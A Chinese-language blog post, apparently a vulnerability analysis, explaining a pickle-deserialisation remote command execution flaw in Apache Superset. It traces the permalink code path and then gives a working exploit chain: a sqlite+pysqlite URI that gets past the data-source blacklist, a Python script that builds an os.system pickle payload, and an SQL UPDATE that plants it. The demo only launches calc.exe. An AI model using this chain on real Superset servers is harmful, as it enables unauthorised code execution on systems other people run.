前几天看到有公众号发布了Apache Superset的命令执行漏洞,涉及到python的反序列化,正好今天分析一下漏洞点的发现和漏洞利用过程
在python中,模块 pickle
实现了对一个 Python 对象结构的二进制序列化和反序列化。和其他语言的反序列化一样,python里的 pickle
模块 并不安全。 你只应该对你信任的数据进行 unpickle 操作。构建恶意的 pickle 数据来在解封时执行任意代码是可能的。 绝对不要对不信任来源的数据和可能被篡改过的数据进行解封。(官方文档)
首先要说说__reduce__()
这个魔术方法,这个方法用来表明类的对象应当如何序列化,当对象被Pickle(反序列化)时就会被调用。(和php中的__wakeup()
类似)
__reduce__()
方法不带任何参数,并且应返回字符串或最好返回一个元组(返回的对象通常称为“reduce 值”)。如果返回的是元组,则应当包含 2 到 6 个元素,这里主要关注前两个元素,
举个例子:
import pickle
import os
class Student(object):
name = 'xxx'
age = '20'
def __reduce__(self):
cmd = "calc.exe"
return os.system, (cmd,)
y = pickle.dumps(Student())
print(y)
pickle.loads(y)
首先全局搜索pickle.loads
,该函数就是反序列化的地方,如果该参数可控,就可以造成远程命令执行
可以看到如果调用了GetKeyValueCommand
中的run
方法就会调用get
,最后反序列化entry.value
的内容进行反序列化,在get
方法中是从数据库的key_value
表中筛选resource
和key
值所得到的value
值,写成sql语句的话类这样:
select value from key_value where resource=xxx and key=xxx
那么就寻找哪里实例化了GetKeyValueCommand
类并调用了run
方法,并且传入的参数还是可控的
经过筛查找到这样一处位置,传递的两个参数中self.resource
是常量,值为dashboard_permalink
,key为传递给GetDashboardPermalinkCommand
的参数
我们如法炮制找到实例化GetDashboardPermalinkCommand
的地方,并且发现了触发这一条链的路由:/dashboard/p/<key>/
既然这个功能是从数据库中取数据,那大概率有一个功能点是往数据库中写数据的地方,并且返回一个这样的路径,于是我们全局查找代码中出现/dashboard/p/
的地方:
通过搜索找到这样一处,代码逻辑流程是访问<pk>/permalink
路径,然后将pk参数和post传入的json合并后通过CreateDashboardPermalinkCommand
生成key,最后拼接成上面的链接
通过查看注释可以知道这是一个保存固定链接(permanent link)的功能点
pk为当前dashboard的id,通过CreateDashboardPermalinkCommand
的run
方法获取固定链接的key值,我们继续更近run方法:
这里的value将dashboardId
和state
合并后,传入到下面的UpsertKeyValueCommand
方法中,其中的key值时通过user_id和value生成的uuid值,resource为dashboard_permalink
然后进入UpsertKeyValueCommand
的run方法中,调用了upsert
,然后其中会将value的值通过pickle.dumps
序列化后存入数据库
然后通过key.id和salt生成一个固定链接
我们获取到这样一个固定链接:
http://127.0.0.1:5000/superset/dashboard/p/x2WRlLjzXrB/
所以我们的攻击路径就是首选获取一个固定链接,在生成固定链接的同时会将数据写入到数据库,然后我们通过修改数据库中的内容为payload,在访问固定链接的时候会取数据库中的数据进行反序列化,进而造成RCE
点击右上角···
-Share
-Copy permailink to clipboard
它会发送一个以下请求包生成一个当前页面的固定链接
POST /api/v1/dashboard/2/permalink HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
{"urlParams":[],"dataMask":{},"activeTabs":[]}
我们获取到这样一个固定链接:
http://127.0.0.1:5000/superset/dashboard/p/x2WRlLjzXrB/
所以我们如果要想在这里进行反序列化就需要修改数据库中key_value
表中dashboard_permalink
值,正好有一个功能SQL Lab可以执行sql语句,那么我们就可以通过update修改dashboard_permalink
值为payload,然后打开固定链接就可以触发pickle.loads
进行反序列化,从而导致RCE
但是不巧的是,这里执行的SQL语句只能执行SELECT
而且在配置数据库的地方勾选Allow DML
会提示SQLiteDialect_pysqlite cannot be used as a data source for security reasons.
无法保存
于是我们可以重新添加一个数据源也为sqlite,然后将源指向同一个数据库,并且打开Allow DML
,但是直接添加也会报错,因为sqlite
在uri.drivername
的黑名单里
但是依然可以通过方言和驱动程序名称的完整SQLAlchemy URI来绕过,pysqlite驱动程序支持SQLite数据库,例如:sqlite+pysqlite:///D:/superset_2.1.0/superset.db
SQL方言(或者数据库方言)指的是用于访问数据库的结构化查询语言的变体,根据具体的数据库系统不同,也可能会支持不同的方言。简单而言,某种DBMS不只会支持SQL标准,而且还会有一些自己独有的语法。
之后在生成固定链接后就可以去Sql Lab去update修改dashboard_permalink
值
以弹出计算器作为演示,将RCE类序列化后转换为hex输出
import pickle
import os
from binascii import hexlify
class RCE:
def __reduce__(self):
return os.system, ('calc.exe',)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(hexlify(pickled).decode())
然后执行sq语句:
update key_value set value=X'636e740a73797374656d0a70300a285663616c632e6578650a70310a7470320a5270330a2e' where resource='dashboard_permalink';
在数据库中也被成功修改
然后访问固定链接也可成功弹出计算器
整个攻击路径就是首先通过sqlite+pysqlite://
来添加当前数据库并开启DML使其能允许使用非 SELECT 语句(例如 UPDATE、DELETE、CREATE 等)操作数据库,然后生成一个固定链接,然后通过sql语句的update更新dashboard_permalink
的值,然后在访问该链接后,在获取value时会触发pickle.loads()
方法去反序列化dashboard_permalink
的值,而这里的value值已经在上一步中通过sql语句将其替换成了payload,最终造成任意命令执行,
79 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!